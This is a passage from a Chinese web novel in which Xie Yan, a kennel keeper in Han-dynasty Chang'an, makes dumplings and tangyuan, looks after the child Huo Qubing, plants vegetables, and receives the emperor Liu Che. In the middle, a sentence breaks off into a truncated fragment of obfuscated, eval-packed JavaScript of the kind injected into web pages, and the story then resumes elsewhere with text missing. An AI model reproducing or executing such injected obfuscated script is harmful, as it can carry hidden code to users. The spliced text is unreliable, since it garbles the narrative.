谢晏买两只羊,一只用来包羊肉馅饺子。 谢晏也不会包饺子,但他知道步骤,就在一旁指挥同僚擀皮子,包成月牙形状。 同僚包的不好,谢晏也不敢吐槽,只怕同僚叫他上手,他把月牙包成死老鼠。 除夕过后,便是元宵节。 以前在宫里,凑合过。 今年认识了卫青和霍去病,谢晏心情不错,不想再将就,正月十四就准备做汤圆的配料。 芝麻是别想了,谢晏至今没有见过芝麻。 去年秋谢晏在秦岭捡了许多核桃,他决定做核桃馅的汤圆。 汤圆煮好,谢晏给每个人碗里加一点桂花蜜。 杨得意吃了一个冬天雪里蕻和萝卜干,嘴巴快腌入味了,以至于闻到桂花香,他感动地想给谢晏磕一个。 杨得意:“今年秋多做点桂花蜜。” 谢晏:“蜂蜜不用钱买吗?” 这话是杨得意自己说的。 杨得意噎了一下,朝狗舍看去:“我又挑出两条傻狗,改日进城卖掉。” 赵大试探地问:“卖了买麦芽糖?日日这样好吗?” 谢晏:“陛下也没少吃。” 皇帝每次过来连吃带拿——拿食谱,赵大想起此事,顿时心安理得。 翌日上午,谢晏和李三去东西市转一圈,随便买点物什,准备出城,车被拦下。 拦车的男子三十出头,比找谢晏买狗的绸衣男子年长几岁。谢晏在绸衣男子城外的庄子里见过此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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十贯铜钱换董偃十金,不要太合算。 谢晏见男子跟占了大便宜似的,不再提醒,他把钱递给李三,便上车出城。 李三:“定是拿去讨好哪位贵人。” 谢晏:“管他讨好谁。最好被那只傻狗拉一身滋一脸。” 李三乐了,突然拉紧缰绳,谢晏往前趔趄,险些掉下去,气得朝他背上一巴掌:“干什么突然停下?” “你家大宝!” 谢晏起身顺着他的视线看去,小孩同他心有灵犀,又蹦又跳,大声喊:“晏兄!” 抱着他的美妇人险些脱手。 谢晏拍拍李三,李三调转车头到路边,谢晏下车,看到美妇人最多二十岁,跟卫子夫有五分像,眼睛黑亮同卫青一样,“夫人是去病的母亲吧?” 小孩伸手要晏兄。 美妇人本能抱紧小孩:“小公子是谢晏?” 谢晏脚踩祥云纹黑靴——谢经给他买的。谢经那点俸禄全用在了侄子身上。身上黑色斗篷也是谢经置办的,花费八金。 谢晏头上还戴着毡帽。 一个冬天过去,捂的面若敷粉,彬彬有礼的样子,哪是养狗的啬夫,分明是个世家公子。 谢晏闻言点点头。 美妇人张口结舌,阿青怎么不说谢晏长这样啊。 “我是去病的母亲。” 美妇人正是卫少儿。 小霍去病在家里憋急了,院门打开一条缝,他偷跑出去。卫少儿追到他,他不愿意回去,卫少儿就领着他出来透透气。 谢晏拱手:“卫二姐。” “晏兄!”小孩急了。 谢晏接过他。 卫少儿:“这孩子太闹,给谢公子添麻烦了。” “大宝很乖啊。”谢晏开玩笑,“是不是啊?卫大宝!” 卫大宝这个称呼,卫家人都知道,而且觉得挺好。 如今卫家人时而喊“去病”,时而喊“大宝”。 小霍去病闻言点点头:“对啊。”扭身挥挥小手,“阿娘,再见!” “再什么见?天天再见!”卫少儿想给他一巴掌,碍于他在谢晏怀里,改戳一下他的小额头。 谢晏:“近日狗舍不忙,可以叫大宝跟我玩几天。衣物可以叫卫大哥送过去。” 卫少儿被儿子闹一身汗,虽然不好意思,依然把儿子“送”出去。 小霍去病到车上就催李三驾车。 李三朝他鼻梁上刮一下:“给你晏兄当弟弟吧。日后你晏兄杀鸡,你吃鸡腿!” 小孩朝谢晏看去。 “公鸡吃完了。”谢晏不等小孩露出失望的表情,“可以买几只。” 李三点头:“对啊。我们又有钱了。” 小霍去病在狗舍吃了三个鸡腿,一个鸭腿,到正月底。 卫青休沐,绕到狗舍把他带走。 翌日,不用带孩子的谢晏吃过早饭就去翻地。 明日是二月二,龙抬头,又叫春耕节。 虽然寒冷,但地可以刨下去,谢晏打算把杨得意去年攒的菜籽全部种下去。 回头把他的两头小猪养得膘肥体健,八月十五杀一头,让所有人看看阉割后的猪肉有多香。 可惜谢晏没有干过这活。 一片菜地,被他挖的跟狗啃的似的。 第二天早饭后,杨得意拿着锄头和铁锹下地,谢晏负责在他身后种菜。 谢晏累出一身汗,到宿舍墙根底下歇息。 杨得意摇头:“你终于像个世家公子。” “干不了农活?”谢晏嫌蹲着不舒服,干脆席地而坐。 就在这时,马蹄声越来越近。 谢晏看过去,卫青从马车上下来,朝车里伸出手,刘彻施施然出现。 “陛下?”谢晏起来拍拍屁股,上前行礼,“您此刻不应该在宫里陪卫夫人吗?” 刘彻心里五味杂陈,“……朕有女儿了。”